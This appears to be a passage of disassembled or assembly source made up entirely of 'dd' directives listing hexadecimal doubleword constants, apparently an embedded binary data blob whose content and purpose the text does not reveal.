dd 0BB3DB7FAh, 0CF7060A0h, 616C83Dh, 2EA4AAEFh, 0EC22005Eh
dd 659AA019h, 0B0080E9h, 1F7614A1h, 3C73BBC3h, 3892FDFAh
dd 0CD00026Fh, 0B840DC2Ch, 25017B66h, 0FB06CF37h, 23E86E09h
dd 28D900B8h, 3AECD1C2h, 4B005583h, 0AFA43796h, 0EFC7E5Ch
dd 9FE58E76h, 0A2DE4EC7h, 506010EAh, 68002D3Bh, 638ED709h
dd 39F3EB58h, 2700AC81h, 0B41C5003h, 3077E151h, 64A25B01h
dd 0E36BF9A9h, 0F0414EC0h, 0F27EEA0h, 35AF3B65h, 0A5EB3F82h
dd 271A468h, 0AC16002h, 4155E2B9h, 0C031206Ch, 0EC382460h
dd 90330091h, 0CD8FFE1Ch, 0A4A0A213h, 8E00669Dh, 0C15F83Bh
dd 62715Dh, 1B8FEFC7h, 58BD67E2h, 76174902h, 4819F4CDh
dd 983EBF0h, 0CB86160Dh, 76627C00h, 1940D489h, 2AF31314h
dd 33440150h, 0D484AA0Bh, 137E4EA5h, 3ED1BC16h, 902A6400h
dd 1F35EA50h, 0C771736Ch, 0EF2151A3h, 3864D280h, 0CF00037Eh
dd 0D1A498AEh, 0C54F58Fh, 61CB1CE7h, 0B62B306h, 68A05590h
dd 78BD6FCh, 36ACC6C8h, 4783F358h, 6503E800h, 0A03398CBh
dd 0F4E60110h, 0C33AE9F8h, 5379ECFFh, 60D0B400h, 616D9DECh
dd 0BBECA8h, 0CBC3FACh, 149C9652h, 4596F3Ah, 4F06FDF6h
dd 44C65CC0h, 0C3D2E10Eh, 20C8B01Dh, 2DE40F3Ah, 0F6464518h
dd 2B3E806Bh, 729D87B8h, 0F3F06F65h, 0F5CAD4h, 0F055E448h
dd 0E0B688EAh, 31ECF703h, 0F1590A51h, 0C441408Ah, 4ACC87C9h
dd 76BF00EAh, 0C67DDFE6h, 0A41C86C7h, 5D80D58Bh, 9B90341Bh
dd 7600F62h, 0C0207A8Fh, 7C4E0449h, 76F86303h, 1C7927Eh
dd 0BB5AA84h, 0D037C064h, 0D80E6BAFh, 204FE0A5h, 0E9C42DD7h
dd 7E7F51h, 89B93448h, 57D06ABBh, 0AA526800h, 91E0B39Dh
dd 6F1E00F6h, 1F25CCB5h, 0D3F238Bh, 0F279800Eh, 0A5B76628h
dd 2A8402D7h, 3AC9EBE2h, 7CDB1843h, 183EB400h, 44336021h
dd 26A000A5h, 3DCC2D10h, 0C501EFAAh, 309946ABh, 0C040E41Fh
dd 0BD3286h, 0C6067AC9h
dd 433B1DF2h, 1E365Ch, 0EBD52C57h, 981C8A5Fh, 9F45009Ch
dd 0FF271068h, 0B000D329h, 537E1BEEh, 3236F8h, 0A952207Ch
dd 825F7F5Dh, 0BA009090h, 6387DE78h, 4E3659h, 667B8C73h
dd 48E02D12h, 8115C53Eh, 0F4A7F251h, 98B8EDDBh, 31AAC000h
dd 80C9A46h, 0FB15CA07h, 58A09FECh, 90103963h, 84534854h
dd 0B5DC8961h, 51982012h, 2257F300h, 0B3183F6Dh, 7C8912CFh
dd 2A1C0101h, 0F5855228h, 20D1D15Fh, 0BC003580h, 3DDF83BEh
dd 18630346h, 30263ED2h, 0A6005DBBh, 5056396Dh, 9F4C642h
dd 0A775228Eh, 0A8C9E700h, 407E3CDFh, 1452B326h, 80875709h
dd 168ADEB4h, 26430775h, 20C9CC7Ch, 2A4A847Eh, 2100657Eh
dd 56E92C59h, 0D494Bh, 3E532B80h, 8729A002h, 0EA197807h
dd 6B608EC0h, 0E09BC1C4h, 0B18F00D0h, 0F2AD8D58h, 7500EAB9h
dd 605FA219h, 8569B2h, 3244E4B5h, 0DB3D51A5h, 96D33100h
dd 0EA152158h, 0AB14007Fh, 78205BE9h, 0D81680F4h, 4C07FFF2h
dd 7280B582h, 358AB9h, 85D56787h, 81EA8D2h, 79D5112h, 0EEA3816h
dd 0D16081C3h, 0AE921DC6h, 0F043FC00h, 34D2213Fh, 0DC89032Ch
dd 147E5B3Bh, 77F57801h, 1673B497h, 0A0F8F8h, 1DCFD56Ah
dd 8E33F380h, 0D01B7E6h, 962ACA1Ch, 93C00F8Fh, 0BF580061h
dd 6F27B01Fh, 4E5C111Eh, 70A04034h, 91ADA900h, 26F1BAEEh
dd 0A53C003Dh, 3B87DFC4h, 4B1F37EBh, 0A9A668A6h, 0E9D7A000h
dd 1C2D2865h, 0C099EE1Ch, 0E4225BECh, 0EF2ED504h, 6B04CCC1h
dd 4CB25DFFh, 98CFE780h, 0FA7B38B7h, 297F9600h, 37DEF223h
dd 38A449B3h, 0D77D4301h, 9D6E1AD3h, 6C034C10h, 0C09215C0h
dd 0BA681340h, 0C81E5894h, 2071C187h, 0B7644597h, 0F90FC902h
dd 0E8EBD021h, 0DB016B8h, 567D1B3Ah, 0D94C2010h, 0FBA2E202h
dd 609407C8h, 7EC706E0h, 418C0F02h, 0C280F646h, 0DF05F50Fh
dd 0ABEDBE03h, 98A0D747h, 743B1A3h, 66AE8A30h, 0B9AC003Fh
dd 0F6099B55h, 0F046EFh, 92D4AA8Ch, 1F130010h, 8C8F5806h
dd 3C07E475h, 50604DADh, 45100FD7h, 56778Ah, 0EA5964E2h
dd 80A8712Bh, 92D56F00h, 12C981E7h, 3F05051Fh, 0BF447E58h
dd 0FD49FB82h, 1A4287C0h, 5A12C498h, 0EC0080F3h, 58D85FA6h
dd 0C3390024h, 7CDFFC9h, 7F4C342Eh, 0D28A0028h, 329C7C79h
dd 0D8DB00CBh, 3A0B7251h, 8B8C277h, 1313B9F6h, 4F028998h
dd 0E06630EBh, 0A87084h, 93628B9Fh, 0DB6CAF1Ah, 9C37A100h
dd 7B16F955h, 144B050h, 83D58EE4h, 0E047EC36h, 0FB0041E9h
dd 0E7ADB690h, 9DF7EBh, 4C6CD273h, 0A44D488h, 0E28B7A05h
dd 48C8E0C0h, 9B2304E1h, 0C07564F2h, 29D22EF8h, 1600AC71h
dd 12B03690h, 3B37DDAFh, 0A500F56Eh, 0EF467417h, 5500ACFFh
dd 0C870A3E5h, 1FA7BFh, 0D03ED824h, 2A570D2Fh, 530E6300h
dd 4FCA51C6h, 0FB6EEA6h, 52824032h, 0D76C1B20h, 5C00A333h
dd 92F4E5B2h, 32143Dh, 31BBEA29h, 4EC04A45h, 5C8E1F00h
dd 1B76F5D1h, 55680015h, 7ACF9DB7h, 0E0008D0Bh, 0EEAC7EA1h
dd 2C4B118h, 0CE6EBBE4h, 60E8AAB9h, 0D707FF3Eh, 16E66C73h
dd 26644049h, 0EEFA57h, 69984FA0h, 0E6CA1FFEh, 4A973Ah
dd 29C91467h, 4D58BEh, 0DDD83E96h, 4BBFB442h, 0ED37A70Bh
dd 381D015Ah, 28289427h, 607A8900h, 761F8106h, 7F01D0F4h
dd 262E4B6Bh, 0F7E050A2h, 0DBDA0575h, 0D046E74Ch, 0D40A5368h
dd 0ED0E5572h, 0DDDC8E0Fh, 0BD42E500h, 1DBCBF57h, 7B0EF606h
dd 857CEA1Ch, 0C1946EB3h, 0E98566ADh, 0D938D4F3h, 0D6C31400h
dd 765E7C1Ah, 17BFC84h, 0F8ABB71Ch, 82056755h, 3A466F71h
dd 0A690A0A8h, 0F8FD1D8Fh, 0C66200C1h, 35637666h, 6CA94B27h
dd 14A80715h, 8B064D2h, 209A4BACh, 0A68F2200h, 29D82F47h
dd 0E62D0758h, 4E6623F2h, 78D70A40h, 0A400BC56h, 5717E821h
dd 0B41C2Bh, 66945058h, 130CA682h, 0E700AF76h, 816DB02Fh
dd 0DA8CC0h, 4B30F4EEh, 0EBC2B170h, 0ED5253Ah, 605F593Dh
dd 0D360D762h, 0A3BC0006h, 10E92858h, 0CEF86ABEh, 5966D819h
dd 6C2CB718h, 45044D03h, 0B878512Ah, 3A99B300h, 1A75DE6Ch
dd 4A260553h, 4017560Fh, 35511598h, 0D21A97F9h, 2358B9F0h
dd 0A05D8980h, 3CFA3165h, 1B0150A1h, 60999069h, 0F805D4E6h
dd 7C089566h, 879831h, 2E174E96h, 8F8593FBh, 7BCAEB1Fh
dd 5980CD0Ch, 517000A9h, 76B7D06Eh, 2F66F307h, 7121AE08h
dd 83510E48h, 87C09877h, 0FB0AFCF4h, 0E8DD2851h, 8A3BAC16h
dd 583695EBh, 8B9C05D0h, 38187C9Ah, 0FDE0FA28h, 0BBCDE0h
dd 7749B836h, 7EDBCE6Ah, 0FC5C7677h, 74221DE7h, 370CC4Bh
dd 0E88DF124h, 1F8BA0A1h, 0CFC6687Dh, 30801610h, 3FB13540h
dd 3272D20Eh, 0CFDC8025h, 3520D9Dh, 21F69E97h, 6AC80AC1h
dd 7000C6ADh, 78EA1F4Fh, 4B3EEFh, 0AF838DE8h, 6BC355A0h
dd 7F628800h, 1857AEEDh, 6C28C0E0h, 0AB750347h, 1F6E5200h
dd 0B441C426h, 5E3800D5h, 9943BADEh, 2707DB84h, 1B58CC12h
dd 6D2D7A90h, 0EB890ABh, 5CD94A93h, 831AF867h, 10007E97h
dd 9F49A6ECh, 60BA0590h, 0F502302Fh, 3004827h, 0D7ECDCF7h
dd 0F178D809h, 8170C3EBh, 0D2F81CD9h, 0A11300DBh, 42140E67h
dd 3000AC36h, 0AFCD81F6h, 61FE5Bh, 607C7886h, 88967BB6h
dd 97B38F00h, 0FFAB3FDDh, 7880009Bh, 9A6A45C2h, 0E00696Fh
dd 77C0C609h, 9161A5h, 90923E86h, 4C264D28h, 14839400h
dd 58DE1D54h, 0B26500FAh, 0CE6CA95Ah, 6F01BD7Ah, 80DA7C7Dh
dd 870D318h, 42F057h, 0A16391A7h, 0CEBDDDEFh, 5ADF4E00h
dd 3C3315F8h, 6980005Eh, 14D189C2h, 50138631h, 9B0FE9CFh
dd 0DA08A045h, 0ECB8071Ch, 0CEC51CD3h, 80F08061h, 77E8AB5Dh
dd 0C001AB8h, 651B53F4h, 0E45826Dh, 1283223Dh, 20EBF5E0h
dd 7B008768h, 4F21B9E9h, 0ECC7C50h, 97190E18h, 0AA810F80h
dd 7AF81073h, 0E3681400h, 17C33094h, 1DF903BDh, 0CF1B655Bh
dd 0E953C8A0h, 0F204CDF8h, 67B37208h, 2B621180h, 46F86Dh
dd 0B987342Ah, 7CC6DB7Bh, 4A3BB807h, 7670B618h, 0A0219Ch
dd 3687449Fh, 24776526h, 30613100h, 98F65CF3h, 9BDE0ACDh
dd 4AB8021h, 0C6B10379h, 7D2228B9h, 547E2240h, 8A110C42h
dd 3F69114Ch, 21C1BE11h, 40A238B8h, 438A2572h, 0A4290838h
dd 0F9146CF5h, 3CA07128h, 1088F426h, 242F88C0h, 0A00D7B40h
dd 8BC62214h, 116222BCh, 2EF50939h, 67108812h, 32F58827h
dd 5761C80h, 0E6803802h, 1A44C092h, 0BE0599DCh, 26953EB5h
dd 0E8DB1F83h, 10F3257h, 1360602h, 0D42D6ACDh, 2F005B6Fh
dd 6211A72Eh, 0EEC781F7h, 1C57E8Ah, 25D0DC1Eh, 0E430181Ah
dd 0B47C1421h, 12BA4E00h, 0DFDE822Bh, 65892C68h, 0BBD500EAh
dd 0F7162027h, 12B1BA04h, 21804A1Bh, 74DC8CCh, 2668549h
dd 7DFEB007h, 55EE3458h, 0DB5E7900h, 0E5C2CFF1h, 92F70096h
dd 0EA7F41B9h, 0A7BC867h, 61D01502h, 4069EE6Bh, 213658h
dd 357F66ADh, 68C5807Dh, 0C8105000h, 915CCE84h, 0FD9D0051h
dd 309FD054h, 1D00A1A0h, 0CFF2F597h, 0E919B99h, 0AB2F56EBh
dd 8E51241h, 35488005h, 0F0677370h, 7210C0B6h, 1FF37865h
dd 5BDF4800h, 911EC185h, 0F1DD387Ah, 80C3ED00h, 0AA1084Fh
dd 80F34590h, 22845038h, 73DF49Dh, 4E37606Fh, 0A07406E1h
dd 603277Ch, 2CB5DBF9h, 94E9A00Fh, 0D80E0079h, 0C7ADE8B8h
dd 65E64EA2h
dd 0FE00747Eh, 280BA098h, 6A8A1Eh, 0F92C0D99h, 0D15658E4h
dd 851F1C00h, 0FF19D232h, 0B1E50064h, 66821161h, 3EF671A4h
dd 2FEAB500h, 0BDEC97D9h, 27EEB1h, 3B053B8h, 1A68041Dh
dd 0C3560200h, 39D0F671h, 45AD00A9h, 0CCC039Ah, 2B70991Ch
dd 50B1D0EDh, 0ED9FC60Fh, 612487E2h, 7DDFE170h, 924200F8h
dd 0D9052227h, 0D1CF0B4h, 0CE00F768h, 0A3332941h, 0AF57005Ah
dd 9EC7C353h, 41DEA9Dh, 0DB003C69h, 65A45B07h, 0AAE50101h
dd 5EEA7BFh, 67EC474Bh, 297580FAh, 0A8006CA5h, 0E1E71153h
dd 4847C7h, 0E93E49B6h, 0DA780C27h, 0D6DBB500h, 38672FACh
dd 34690176h, 9EDBFB0h, 1ADDE468h, 53C33200h, 0EE07E30h
dd 4C6F0025h, 0E6FBA092h, 5D0090FDh, 0A5604926h, 0FE20FCFh
dd 0B56222A3h, 3085C6C0h, 0F1007908h, 49E56EDh, 0EA7C2A47h
dd 3F6701E7h, 3AD7F325h, 5E42609Dh, 6A6D1700h, 9C4787D1h
dd 6F5C09ACh, 0EE00C505h, 2D7609B7h, 7C9F6600h, 0FEE4CF04h
dd 87412447h, 43E60018h, 2B1CB0F8h, 0D0FB2C00h, 19C03AC2h
dd 6E8D3ABDh, 0A4B13B04h, 0C80083DBh, 0E10DA981h, 0C01080DFh
dd 0EDAE869Ch, 1BCC0034h, 59036488h, 0A124BF8Bh, 6600CF30h
dd 246EB444h, 0A5B53F15h, 59E5DD00h, 8DD7F7C7h, 9631EA00h
dd 0FC057767h, 57B100BCh, 0B65D4A5Bh, 0FF005286h, 0E62239CCh
dd 0E7E890Eh, 3FC65C28h, 0DA27C7E0h, 0AE00E9D3h, 20225EF1h
dd 48C386Bh, 0A2F9CDACh, 0FF8CC046h, 2D240B1Bh, 80000C6Eh
dd 0DC337845h, 0D33800FEh, 0CB57F78Dh, 1E00C9CEh, 6EF0BF87h
dd 3493A8Fh, 24D350A9h, 99B056DBh, 784C6FAAh, 85D00057h
dd 0F9C393CEh, 0B5F60020h, 264A8F95h, 0B30135EBh, 151A1D60h
dd 0C0E4ECC9h, 0FF2D005Fh, 21200137h, 4A1C0F53h, 9340B5BCh
dd 65285879h, 6E031216h, 6A1C01C2h, 1826F83Ch, 2E8700C4h
dd 201F4D2Bh, 0AA7878D0h, 383B2C00h, 946A399h, 2DE40027h
dd 0F02A84AFh, 0F20A0CACh, 0D8E88C2Bh, 0B648D00Ch, 30DC0083h
dd 50743829h, 527D3A47h, 193D5A09h, 1C4001BFh, 63FC1346h
dd 745007Ah, 362B3465h, 4B7ADFEFh, 254D0600h, 24E78530h
dd 0E9A20063h, 0D48BE510h, 26983CB1h, 73DD9500h, 0D3D26618h
dd 0E71007ABh, 0B0DF30BDh, 7BA8A5E0h, 0F3529300h, 23478638h
dd 4D4600B6h, 0CB18B0A4h, 6E2602DAh, 4500D2EEh, 56BA9C0h
dd 0D3143CBEh, 0BC63DF80h, 9EDAB954h, 1A3DF0B0h, 55DB83E6h
dd 0D8E1652Ch, 61E285h, 0CA7F54A9h, 2F25564Ch, 0E3260B00h
dd 0DD8C9E6Fh, 6540079Fh, 8076BF5Fh, 0C427D688h, 0B300C3F2h
dd 0CCA89337h, 791B45F9h, 0F12D00AEh, 58ECDC0Eh, 2E0061A9h
dd 32D71574h, 0D47D9h, 9210FC82h, 6A6B1B2h, 0E80A2900h
dd 0F3CB2B45h, 411B3AD5h, 0C498EA00h, 0D7C57D80h, 148C7000h
dd 107C3478h, 0F5333FABh, 0C0A68A96h, 0F3B5F231h, 92838903h
dd 0DADA9C70h, 9EE88075h, 74D4F1Bh, 0B829A652h, 0D2CCF0A4h
dd 0D30F90ECh, 6061F56Fh, 0DE5270A9h, 0FA9A12C0h, 0E9FC0E86h
dd 0ECF42223h, 518A5C0h, 0B5052B7Ch, 960FB7B8h, 4035608Ch
dd 7B00A05Ah, 240B41FFh, 600782C4h, 0EDBB1845h, 0F4007114h
dd 3AB3086h, 34554Bh, 0AE64AA90h, 0DBA3F1DEh, 0A494C63h
dd 45290FBh, 3E300087h, 0EAEE68BEh, 5E003279h, 0E4742254h
dd 0D83D26h, 69FF5A11h, 0E4EC8BFh, 38D73500h, 31F75CC1h
dd 0E9100367h, 0EAA88DD0h, 0B1550BA0h, 8601FFEEh, 4F73943h
dd 0A8209D20h, 56709Fh, 0CB64F488h, 0FE921C07h, 0A439B000h
dd 94912870h, 8AFCF9h, 2B08CCAEh, 0B5AB482Eh, 0DBD89E00h
dd 0A74203CAh, 1E3DE8EBh, 80362429h, 4C5DFA5Fh, 82008011h
dd 1DC302Bh, 431849h, 0FBB5D33Eh, 0DE3B146Fh, 292F5E01h
dd 5789AA91h, 510424h, 668B4052h, 0D6C75C93h, 64F63303h
dd 0E0C5B0D0h, 166F7C12h, 6C947h, 22A7A090h, 8D019524h
dd 722A5790h, 4C7127FEh, 3D5EAF20h, 82CC2E21h, 0F8BDCC1Dh
dd 7D3DA007h, 0AA0D80B4h, 0F5071BFEh, 36EF09F0h, 351867B0h
dd 372D1C34h, 89414F17h, 0EA9FCD60h, 0ACA0D1C7h, 0CF17FB9Ah
dd 0C040E0DDh, 42B41F48h, 0D4B8243Eh, 38790044h, 833F9687h
dd 0DFAF6216h, 8AB14400h, 0E19E36h, 5F55087Eh, 5CB86AEh
dd 6FF4E700h, 0AFD52D83h, 345407CCh, 870B5A1Ch, 0C995308Eh
dd 0A075352h, 6AEFDB1h, 2E289680h, 0BE704Ah, 24E9CA2Ch
dd 0D9BAC7E2h, 588E5D13h, 0C2AED000h, 80D70497h, 29F21A03h
dd 40912507h, 1B84BA98h, 4CB0E7C0h, 245002Ah, 6610E19Ch
dd 4A3ECF3Eh, 639380DAh, 90B6D95Ch, 83E40085h, 81B53265h
dd 4450C466h, 4D011AF4h, 98202511h, 845063CAh, 39CB0605h
dd 0C4875085h, 73937F23h, 2102B35Bh, 6E95F2D5h, 3BA48076h
dd 0F5F413h, 366F749Ah, 3CF6DF11h, 7D09B6B0h, 80ABA9D0h
dd 0BD705F6Ch, 0F9A439B2h, 0E1DB3E8Bh, 78861890h, 87305000h
dd 354481A0h, 6F890717h, 705CCABBh, 953CB2Ch, 8B1EAE1Ch
dd 0CCA94740h, 250C041h, 5D6D6A03h, 0F480AAC8h, 0F48A3519h
dd 2F7C2800h, 8868B3FFh, 56A300C4h, 0B84FA0B5h, 0F3004422h
dd 0FD4EC3D0h, 48BE3898h, 55004004h, 69339DD2h, 4A00F56Bh
dd 0C143DB0Fh, 0BD97D1h, 0DF5E0E74h, 3037D8EBh, 0CC3B4801h
dd 2F5916F3h, 75B0FCh, 0CD699FACh, 0A9DF8E70h, 5A800478h
dd 0BA1DF2EEh, 0E460454h, 0C06EC6D2h, 3ECB0F8Ch, 0DC8A0602h
dd 40F0F10Ah, 707E178h, 99AA3CDEh, 953B8085h, 4400CE83h
dd 48EC28DCh, 5A6D2Bh, 57FF6C7Eh, 4512D0Fh, 0E924CB00h
dd 68C58AC6h, 5F1302BBh, 9DEE7877h, 0B35204C0h, 0D450EF00h
dd 15972725h, 0DE5807DCh, 0F324F9FEh, 55981939h, 0BD00D246h
dd 0F415D643h, 98698770h, 92B60F2Ch, 9EC0F91Bh, 1729F833h
dd 0CAEBD000h, 93128DADh, 0D44043Bh, 0C7754F28h, 1D090071h
dd 0F6000302h, 8A2D23B7h, 0E6427B3h, 13B51115h, 0AC00F4ABh
dd 0AC263CB9h, 1B000CFCh, 695E034Eh, 0C99615h, 4D29175Ch
dd 325DB9CDh, 3311A500h, 0EE43521Dh, 1EB024EFh, 40D31FAFh
dd 73C765BFh, 4903DF3Fh, 137582DEh, 33318907h, 0A906CE8h
dd 49F8750h, 3C0E0294h, 4CE81B42h, 52E5A9Dh, 0FB8238DEh
dd 81EAA4D5h, 8422CDB8h, 0A1CCC0C6h, 50D21E12h, 42F837Dh
dd 0E8002352h, 4772EFC5h, 12049EBh, 8B7BF6C0h, 609D5BE7h
dd 2258465Ch, 0A818924Ch, 0BECF380h, 7B1F07DBh, 0BCE40080h
dd 0D6026093h, 1525F570h, 6510C86Eh, 0BA720738h, 20DA32F6h
dd 9B79E437h, 0B0214B60h, 24297111h, 8081D7h, 0E5BE0EDDh
dd 0B702CE66h, 90861E14h, 8F40C142h, 4CFD77F0h, 7D014C30h
dd 6A6D54AAh, 0E7F2C85Bh, 0F631D100h, 79D5326Bh, 0B62B00E0h
dd 9796547Fh, 0F80086DCh, 0B7FE9E49h, 1B68F4C2h, 0D00556BDh
dd 151A4FF0h, 0B900F4BBh, 1CA691A9h, 3D3AFEDCh, 0D2A4CA0Eh
dd 609D04BCh, 0AA30D1BAh, 0CF7FE8B1h, 0C9879E4h, 0C9FC2A01h
dd 88F5231Eh, 12F8C8F9h, 1F3D7013h, 8091BE47h, 4434FD89h
dd 9A00D8CCh, 0F69867F0h, 0BCF5B9h, 0E0C3E79Ch, 13273728h
dd 475A431Bh, 228BA1A8h, 83FBD8h, 0A7DAC6DDh, 0E4BED9EAh
dd 0ABF4FE00h, 0A5062711h, 57B500E0h, 25974B4Ah, 4C4CC36Ah
dd 0EE92006Ch, 14620267h, 0A712Dh, 16C4ADDh, 8332075Bh
dd 6410EB00h, 771EBD28h, 0BA5102B6h, 0E7ADED15h, 0F4F05849h
dd 0EC4C2CA3h, 86DF1293h
dd 6941B401h, 0D874ADAFh, 5B2213DCh, 6618006Dh, 14F70E8Bh
dd 8FD79202h, 665DD265h, 0D4CF00CCh, 4DC42571h, 0DE0F749Fh
dd 0E07ADD13h, 0F5E0B1B3h, 24A507B2h, 50C62A47h, 79F92215h
dd 0FF1AAF16h, 806BD00Eh, 9B1BD75h, 9D2D2448h, 0CD60017Ch
dd 209ABB91h, 0FE000C64h, 0E89C6180h, 0E4ED2CAFh, 9CAEE35h
dd 0A0EE82D7h, 0D48B8180h, 0C200CEB5h, 4E3ABB6h, 784C1E9h
dd 1E7DACD5h, 57C3071h, 6858A32Dh, 3C452692h, 3FA8A403h
dd 989088C4h, 88C20020h, 7E3476C5h, 0AC0011EFh, 4D01F12Eh
dd 6B5763h, 0D01415BDh, 0E7CB2D08h, 0CEF9A503h, 943DB921h
dd 0A3A99CC0h, 91DFA7Eh, 0E18FD161h, 4D0158C5h, 0C51599A0h
dd 0F1731080h, 79ED2987h, 60104300h, 14812A58h, 786CF176h
dd 0FA0EB2Ch, 5720B646h, 0E212E9EFh, 2816E100h, 446CDC62h
dd 0FA5301F1h, 7026D1Ch, 0B1A92059h, 4E2B4500h, 0E1A82ACAh
dd 0F67B0680h, 0C8BE196Ch, 0E335C800h, 249BB317h, 0CA1500EAh
dd 50B56D04h, 7D004211h, 0DFC4BFB6h, 8F87BCh, 0F3EE0E62h
dd 0A87E5CE3h, 167F0703h, 0C08A55AFh, 0E6644D6h, 213191CFh
dd 107257EEh, 251E9BBCh, 0A022C009h, 0C4C96430h, 8D37A900h
dd 0C2D6DC45h, 3D9300E2h, 84D035FDh, 9002E25h, 0F25C8650h
dd 522158h, 96AC767Fh, 9DDA8004h, 323C4498h, 1DBFC6h, 59D8ED21h
dd 5ACA7ECh, 0F0FA393Ah, 0C280008Bh, 42657427h, 0FFB10405h
dd 0A8200E34h, 1C2E0Ch, 0A070AFF2h, 834D9A2Fh, 6BB8C060h
dd 222FBB3h, 0C258F8D7h, 0F440CFF1h, 830EE696h, 0A1806019h
dd 0B38C5AADh, 9B3CF8h, 0B75189B5h, 0D3E84730h, 0BEA19600h
dd 45651042h, 0D458C1DBh, 30D7A87Ah, 0C727144h, 86419400h
dd 671ADDEEh, 0F10B1630h, 6CA40098h, 137FD4ECh, 2533581Eh
dd 7CA4B100h, 1DB79E3h, 0E8E557C7h, 80A6CB8Dh, 41166230h
dd 9CE32BD0h, 0BD48001Ch, 397127BBh, 0A695C000h, 94EF66CDh
dd 2B5604B6h, 0C067998Eh, 523240DCh, 84C2612Ch, 7200231Dh
dd 3D7150A4h, 0AE85013Ah, 665935E7h, 5AE2006h, 78074000h
dd 0BF6CC42Eh, 60B00079h, 8F9AEE77h, 200C0DCh, 0B4564192h
dd 4CC40B1Bh, 0A2048828h, 0DC1DA309h, 303FE6DCh, 0A0E78301h
dd 0B8D3FDB3h, 2EAF10BDh, 4F42C5Eh, 80BA534Eh, 16089588h
dd 9821FB2Ch, 75876602h, 0D07837h, 98B704EAh, 5CFC3C23h
dd 0E1CD9205h, 84D00EC8h, 1E7A8h, 4EDAB63Ah, 6DA6DE10h
dd 0F7C58000h, 363B1E49h, 9C4F00B9h, 23A29798h, 0B3038446h
dd 8AD0FA2Bh, 44DE900Eh, 0CCE009h, 0F28B9D28h, 9FE89055h
dd 9C66303Dh, 734EA07Bh, 7C9BC04Ah, 0B43C33h, 55FA1A8Ch
dd 0E8ACDB78h, 0A4C6E61Fh, 67F43787h, 3C38C029h, 0D8D7004Fh
dd 704C4327h, 9D723045h, 2034501Dh, 12803880h, 0EF985DDh
dd 70F6FA1Ch, 2AF87120h, 8400AB93h, 240FCFF0h, 4D0D95D7h
dd 0B00034E4h, 0EC918188h, 0F0C00E86h, 0E00C9B1Bh, 0DFAF00DEh
dd 5AB5D74Ch, 1501BBA3h, 1CBC3633h, 4C34E385h, 90DAFEFCh
dd 7374E60h, 60F817F0h, 92B3B1Bh, 0EAE64200h, 1D4BC850h
dd 2A6D01CCh, 1FF46BE9h, 307EC31h, 24880400h, 0C44BBBDCh
dd 0B5CF1389h, 5EF8C153h, 0ECDFE0FEh, 0A6ED6539h, 2518173Eh
dd 2EE047Ch, 0F2CCA78Bh, 0C5E0A146h, 6C02DEBCh, 99DB55BDh
dd 0E03C6360h, 40BB1B0Bh, 0D3005123h, 6F75ED82h, 0A9D99Ch
dd 7C0C3533h, 0C840A173h, 0DE0B2903h, 0E89470ACh, 0A07805BBh
dd 0FE8B983h, 6BDDE322h, 2980D96Fh, 4C892520h, 7E1E3C98h
dd 0E0602A97h, 14BCE0A0h, 8CA85CB9h, 48A3B681h, 878A3055h
dd 5407CE2Eh, 3EF3BF50h, 5D859AA2h, 0E1879F4Fh, 646AAA9Ch
dd 6F018D01h, 0AF507706h, 33ECDC8h, 8F0AAC13h, 75B86E9Bh
dd 0B11FBC3Bh, 7216FF7Dh, 655E9400h, 7B6C99AEh, 91780618h
dd 11E6DAA2h, 0E74B2A06h, 30342D70h, 734003EEh, 8D00E911h
dd 0CE6D195h, 9439A6h, 7167ACA5h, 0FC1F35Ah, 3BE470FFh
dd 3CCA1A02h, 60E7CD55h, 9C6B4C69h, 0ACB50078h, 343DB29Ch
dd 0AA80100h, 8BE80630h, 0D017009Bh, 8C7C3726h, 0A3001CA5h
dd 583CA780h, 97C913h, 0AAF7EADAh, 2583CD69h, 0D2E8A900h
dd 43CBA505h, 0E58C00C1h, 940A1E8Dh, 4D0011EEh, 7CA15B38h
dd 405D0Bh, 0C027D9DFh, 0EC573F85h, 17D0610Fh, 5C02DCB5h
dd 60774BEAh, 83E700h, 169BBDB7h, 334455E5h, 44DD1D2Eh
dd 6A1CF200h, 16D648Eh, 94BC5738h, 301F291Eh, 5160D6D0h
dd 0E50EF429h, 0B08103E7h, 0D8BEB6FFh, 55620388h, 4609400h
dd 0BD6E0CC1h, 0EF7226A0h, 0D42C0Ch, 9C1C622Ah, 2F4E57DAh
dd 525EC801h, 889D546h, 0E0406C7Ch, 53E8D23Bh, 9E3CDE00h
dd 93EB5FE7h, 0B8E0063h, 0D1FEB226h, 0A70E69C5h, 208172Ah
dd 7F84C829h, 0A83E3AE0h, 0BEF83Ch, 0BAC16A55h, 24FD2A3h
dd 6432302Bh, 80C026D1h, 2907F493h, 80DB8F57h, 0F868F6A0h
dd 0C1220030h, 516D4BC0h, 0CA00D5B9h, 0E50FE1A6h, 3ACF396h
dd 0E415F931h, 70F75F0Bh, 2B86A33Dh, 605EC612h, 808B644Fh
dd 0B2AF6B67h, 5AFBF0C8h, 0B76C0044h, 6D88296h, 9C68940Fh
dd 0C118B8D2h, 0ACAB17EDh, 58430039h, 974A512Fh, 0D3CDD05h
dd 28C05310h, 0E0A52E89h, 166400F6h, 584B2DB2h, 6100342Ch
dd 72F07E5Fh, 3DBEA2DFh, 0D001F5Dh, 0EDE12318h, 0ED90FA38h
dd 54B7C400h, 56B0CE29h, 67DC019Ch, 30959019h, 1BA1EC11h
dd 0AB4DB21Fh, 3A21F14h, 99D7DDFBh, 0F798DBC4h, 0B47C81BFh
dd 0B0F46D0Bh, 23F30C0Ch, 0A780A153h, 5BC38A00h, 982BF463h
dd 6F50C075h, 541C0F56h, 1D4D100h, 8BA29D47h, 0A7FB00CBh
dd 87404892h, 50006357h, 67CC74C5h, 7C229Fh, 4E66E42Bh
dd 9225E91Fh, 4BEC00F9h, 0A57700CBh, 0E33F61E0h, 0BF00396Fh
dd 0CF0A9CFBh, 7DD2909Dh, 45473092h, 35FEBE98h, 953E0407h
dd 0CB50641Ah, 0B5F6DFh, 485C152Eh, 0CED4631Dh, 7E9C2B00h
dd 4F3723ADh, 0D8C50036h, 0B1F0C5Ch, 4B7DD3A8h, 850E140Fh
dd 864420E9h, 0E0DAF0C4h, 83810009h, 4E844D46h, 1E28E045h
dd 0D500D47Ah, 475E95A0h, 12666Eh, 0A5FD717Ch, 0D28448EEh
dd 0E31F8C01h, 13300704h, 30DCC70h, 0FC775FDFh, 0FFC05957h
dd 8F0735F9h, 7CC1BB1Fh, 0A1533E0h, 0BF231E76h, 13390088h
dd 2B4BDF59h, 5DB0F200h, 0C151D1D6h, 90787870h, 9E7D10h
dd 80EBDF20h, 0BD43D7D9h, 0B2640800h, 6F42012Eh, 0D48C00F7h
